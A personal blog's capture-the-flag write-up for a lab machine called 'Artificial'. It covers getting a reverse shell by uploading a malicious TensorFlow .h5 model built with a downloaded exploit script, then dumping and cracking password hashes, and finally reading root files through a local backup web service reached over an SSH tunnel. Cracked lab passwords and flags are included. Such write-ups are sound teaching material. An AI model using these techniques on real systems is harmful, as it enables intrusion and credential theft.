← Back
Artificial | Avishai’s CTF Writeups

Avishai's CTF Writeups

Yalla Balagan! A collection of my CTF writeups and solutions.

View on GitHub

TL;DR

Get reverse shell using malicious .h5 model. Crack the password of user gael, which we find inside users.db. Crack the password that we find inside /var/backups/backrest_backup.tar.gz, and use it to dump the content of /root/root.txt, using the local backrest webserver.

Recon

we start with nmap, using this command:

nmap -p- -sCV --min-rate=10000 $target

nmap results

As we can see, there is port 22 for ssh and port 80 for the webserver, which is based on ngnix.

PORT      STATE    SERVICE        VERSION
22/tcp   open   ssh            OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp   open   http           nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)4181/tcp  filtered macbak

Let’s add artificial.htb to our /etc/hosts, this line:

10.10.11.74     artificial.htb

Get shell

As we can see, we can upload models and then execute them on our dashboard. I googled for this, and found this https://github.com/Splinter0/tensorflow-rce, we can achieve RCE using creation of malicious .h5 model files.

So, first let’s download DockerFile and requirements.txt from the webserver.

We build the Docker Image, -t is to supply the image name, and the . is where the DockerFile is located:

docker build -t artificial-docker .

And then spawn a shell inside container, --rm is to remove all the staff after the container dies, --it to spawn shell, -v is to specify mount, our $PWD to /app, -w is to specify working directory on the shell:

docker run --rm -it -v "$PWD":/app -w /app artificial-docker

Next, we want to install packages:

pip install -r requirements.txt

And now we can curl the exploit.py, and make our model after changing it to point to our listen port, and ip.

curl https://raw.githubusercontent.com/Splinter0/tensorflow-rce/refs/heads/main/exploit.py -o exploit.py

edit exploit.py

and execute:

python3 exploit.py

execute exploit.py

Now, we just need to upload exploit.h5 and click the View Predictions.

get reverse shell

Of course we paste the regular commands:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo
stty rows 38 columns 116

Move vertically

We can see there is another user which is called gael, however we don’t have permission to read its files.

inside the folder /app/instance, we can see there is users.db file, let’s try to analyze this file in our local machine. So, in the remote we’ll execute:

python3 -m http.server 8081

and in the local:

curl http://$target:8081/users.db -o users.db

Using the file command we can see we have sqlite3 filetype.

get users.db

next, we’ll execute sqlite3 users.db, and then inside the db:

sqlite> .tables
model  user 
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|fakename|fake@email.com|aea97f1a1bb96221efec9e71d76766ab
7|fakenmae|r32r@email.com|bfde39ad9014a45608030ff7081f94cb
8|admin|admin@test.htb|cc03e747a6afbbcbf8be7668acfebee5
9|dsg|dsg@local.net|2c103f2c4ed1e59c0b4e2e01821770fa
10|test|test@test.com|5a105e8b9d40e1329780d62ea2265d8a
11|dev|dev@gmail.com|227edf7c86c02a44d17eec9aa5b30cd1
12|tets|test@gmail.com|81dc9bdb52d04dc20036dbd8313ed055
13|' UNION SELECT username FROM users--|hola@gmail.com|2347b7a569cdefeab6d4cade96cbf38e
14|1|1@1|c4ca4238a0b923820dcc509a6f75849b
15|user|user@gmail.com|ee11cbb19052e40b07aac0ca060c23ee

Using pragma table_info("table_name") we can get the column names:

sqlite> pragma table_info("user");
0|id|INTEGER|1||1
1|username|VARCHAR(100)|1||0
2|email|VARCHAR(120)|1||0
3|password|VARCHAR(200)|1||0

We want to output all into users.txt, so we’ll execute:

sqlite> .output users.txt
sqlite> select * from user;
sqlite> .output stdout

We can check if it really worked, using this:

sqlite> .shell cat users.txt
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|fakename|fake@email.com|aea97f1a1bb96221efec9e71d76766ab
7|fakenmae|r32r@email.com|bfde39ad9014a45608030ff7081f94cb
8|admin|admin@test.htb|cc03e747a6afbbcbf8be7668acfebee5
9|dsg|dsg@local.net|2c103f2c4ed1e59c0b4e2e01821770fa
10|test|test@test.com|5a105e8b9d40e1329780d62ea2265d8a
11|dev|dev@gmail.com|227edf7c86c02a44d17eec9aa5b30cd1
12|tets|test@gmail.com|81dc9bdb52d04dc20036dbd8313ed055
13|' UNION SELECT username FROM users--|hola@gmail.com|2347b7a569cdefeab6d4cade96cbf38e
14|1|1@1|c4ca4238a0b923820dcc509a6f75849b
15|user|user@gmail.com|ee11cbb19052e40b07aac0ca060c23ee

To quit we just type .quit.

Now, we use cut to get only hashes:

cut -d '|' -f4 users.txt > hashes.txt

Let’s crack the passwords using https://crackstation.net/

crack the passwords

We got the password of gael, which is mattp005numbertwo.

Let’s connect using ssh gael@$target and get the user flag:

gael@artificial:~$ cat user.txt 
5c77a6560779530ac10be603b87fa276

Crack the password for config file

First we starts with sudo -l to view if we can do some operations as root, we get this:

Sorry, user gael may not run sudo on artificial.

Next, we’ll check our group, maybe there is something special, we can use id to check:

gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

As we can see, we are member of the group sysadm, interesting, let’s check if there are some files specific owned by this group.

gael@artificial:~$ find / -group sysadm 2>/dev/null
/var/backups/backrest_backup.tar.gz

We have this backup file /var/backups/backrest_backup.tar.gz, let’s move it to our folder and extract it using tar. -x for specify that we want to extract, -f for the filename and -v for verbose:

gael@artificial:~$ cp /var/backups/backrest_backup.tar.gz ~/.
gael@artificial:~$ tar -xvf ~/backrest_backup.tar.gz
backrest/
backrest/restic
backrest/oplog.sqlite-wal
backrest/oplog.sqlite-shm
backrest/.config/
backrest/.config/backrest/
backrest/.config/backrest/config.json
backrest/oplog.sqlite.lock
backrest/backrest
backrest/tasklogs/
backrest/tasklogs/logs.sqlite-shm
backrest/tasklogs/.inprogress/
backrest/tasklogs/logs.sqlite-wal
backrest/tasklogs/logs.sqlite
backrest/oplog.sqlite
backrest/jwt-secret
backrest/processlogs/
backrest/processlogs/backrest.log
backrest/install.sh

First, we can see there is backrest/.config/backrest/config.json, which contains:

{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

The bcrypt here is base64 encoded, let’s decode it:

gael@artificial:~/backrest$ echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

and now we can crack it using john (this is already after crack), the password is !@#$%^:

┌──(agonen㉿kali)-[~/htb/Artificial]
└─$ echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d > hashes.txt 
                                                                                                                                                 
┌──(agonen㉿kali)-[~/htb/Artificial]
└─$ john hashes.txt --show      
?:!@#$%^

1 password hash cracked, 0 left

Accessing the local webserver

using file * we can see there are 2 executable files:

gael@artificial:~/backrest$ file *
backrest:          ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=jjQjlBYIC1gVP2iDvuQ_/D0vd8lNWkJmE_0BL7M3f/GV_C1mc-OIE3wQfO7F20/9w78k45S6pkbyP7rg0U7, stripped
install.sh:        Bourne-Again shell script, ASCII text executable
jwt-secret:        data
oplog.sqlite:      SQLite 3.x database, user version 4, last written using SQLite version 3046000
oplog.sqlite.lock: empty
oplog.sqlite-shm:  data
oplog.sqlite-wal:  empty
processlogs:       directory
restic:            ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=jSK7xPRsY9E7Q29OIP76/HSaVnfetedLgEUqaU0UW/xKPSAuk-oVdNAKJVum1a/eKE0tD3fOYCv4dW-3NwC, stripped
tasklogs:          directory

We try to execute the backrest file. as we can see, it trying to start webserver at 127.0.0.1:9898, but fails because it’s already in use:

2025-10-20T11:38:28.942Z        INFO    starting web server 127.0.0.1:9898
2025-10-20T11:38:28.942Z        ERROR   error starting server   {"error": "listen tcp 127.0.0.1:9898: bind: address already in use"}

capture log

We can verify it using ss, this command, -l is for listening sockets, and -t is for tcp only:

gael@artificial:~/backrest$ ss -tl | grep 9898
LISTEN  0       4096           127.0.0.1:9898            0.0.0.0:*       

Okay, let’s connect again from our local machine using ssh, but time we’ll tunnel the port 8085 of our host machine, to 127.0.0.1:9898 on the remote machine, from the doc: -L local_socket:host:hostport. remember that the password of gael is mattp005numbertwo.

ssh gael@$target -L 8085:127.0.0.1:9898

Now, we can go on firefox to: 127.0.0.1:8085, and to access the webserver we tunneled via the ssh connection.

As we saw earlier in the config.json, the username is backrest_root and the password we cracked !@#$%^

connect to webserver

Now, the next stages will be as follow:

  1. create repo

Under the tab Repositories, we can create our own repository

create repo

  1. create backup for the folder /root

Next, we want to execute backup /root:

backup /root

  1. Grab the snapshot

Using the command snapshosts we can find our snapshot, in our case ca239f6f

grab snapshot

  1. dump /root/root.txt from the backup with the snapshot ca239f6f

We’ll execute dump ca239f6f /root/root.txt to dump /root/root.txt, and then we get the root flag 97d48979d6d805fa3acba78b3e612e94

dump root flag

User Flag:5c77a6560779530ac10be603b87fa276

Root Flag:97d48979d6d805fa3acba78b3e612e94